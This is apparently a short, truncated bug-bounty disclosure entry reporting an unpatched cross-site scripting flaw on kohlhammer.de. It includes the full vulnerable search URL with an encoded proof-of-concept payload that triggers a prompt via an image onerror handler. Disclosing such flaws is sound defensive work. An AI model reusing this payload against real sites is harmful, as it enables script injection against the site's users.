kohlhammer.de XSS vulnerability

Vulnerable URL: http://www.kohlhammer.de/wms/instances/KOB/appDE/execquickSearch.php?KEYWORD=%3E%27%3E%22%3Es%3Ci%3Ei%3Cimg+src%3Dx+onerror%3Dprompt%28%2Fopenbugbounty%2F%29%3E=BOOKS Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS...